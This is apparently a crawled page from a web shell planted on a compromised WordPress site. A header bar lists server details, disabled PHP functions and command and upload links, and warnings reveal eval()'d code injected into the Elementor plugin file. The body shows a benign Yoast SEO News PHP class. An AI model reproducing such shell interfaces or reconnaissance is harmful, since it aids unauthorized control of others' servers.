|
Server IP : 172.19.0.4 / Your IP : 216.73.216.172 Web Server : nginx/1.28.3 System : Linux VM-0-4-debian 6.1.0-37-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.140-1 (2025-05-22) x86_64 User : www ( 1000) PHP Version : 7.4.33 Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv MySQL : OFF | cURL : ON | WGET : Warning: file_exists(): open_basedir restriction in effect. File(/usr/bin/wget) is not within the allowed path(s): (/data1/wwwroot/sc-forklift.com/:/tmp/) in /data1/wwwroot/sc-forklift.com/wp-content/plugins/elementor/elementor.php(1) : eval()'d code on line 329 OFF | Perl : Warning: file_exists(): open_basedir restriction in effect. File(/usr/bin/perl) is not within the allowed path(s): (/data1/wwwroot/sc-forklift.com/:/tmp/) in /data1/wwwroot/sc-forklift.com/wp-content/plugins/elementor/elementor.php(1) : eval()'d code on line 335 OFF | Python : Warning: file_exists(): open_basedir restriction in effect. File(/usr/bin/python2) is not within the allowed path(s): (/data1/wwwroot/sc-forklift.com/:/tmp/) in /data1/wwwroot/sc-forklift.com/wp-content/plugins/elementor/elementor.php(1) : eval()'d code on line 341 OFF Directory (0755) : /data1/wwwroot/sc-forklift.com/wp-content/plugins/wpseo-news/classes/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
/**
* Yoast SEO: News plugin file.
*
* @package WPSEO_News
*/
use Yoast\WP\SEO\Presenters\Abstract_Indexable_Tag_Presenter;
/**
* Represents the Googlebot-News tag presenter.
*/
class WPSEO_News_Googlebot_News_Presenter extends Abstract_Indexable_Tag_Presenter {
/**
* The tag key name.
*
* @var string
*/
protected $key = 'Googlebot-News';
/**
* The tag format including placeholders.
*
* @var string
*/
protected $tag_format = self::META_NAME_CONTENT;
/**
* The method of escaping.
*
* @var string
*/
protected $escaping = 'attribute';
/**
* Get the value for the Googlebot-news meta value.
*
* @return string The raw value.
*/
public function get() {
if ( $this->presentation->model->object_type !== 'post' ) {
return '';
}
/**
* Allow for running additional code before adding the News header tags.
*
* @since 12.5.0
*/
do_action( 'Yoast\WP\News\head' );
if ( $this->display_noindex( $this->presentation->source ) ) {
return 'noindex';
}
return '';
}
/**
* Shows the meta-tag with noindex when it has been decided to exclude the post from Google News.
*
* @see https://support.google.com/news/publisher/answer/93977?hl=en
*
* @param WP_Post $post The post object.
*
* @return bool True when noindex tag should be rendered.
*/
protected function display_noindex( $post ) {
$display_noindex = true;
/**
* Filter: 'Yoast\WP\News\head_display_noindex' - Allow preventing of outputting noindex tag.
*
* @since 12.5.0
*
* @param bool $display_noindex The noindex tag.
* @param object $post The post.
*/
$display_noindex = apply_filters( 'Yoast\WP\News\head_display_noindex', $display_noindex, $post );
if ( empty( $display_noindex ) ) {
return false;
}
$robots_index = WPSEO_Meta::get_value( 'newssitemap-robots-index', $post->ID );
return ! empty( $robots_index );
}
}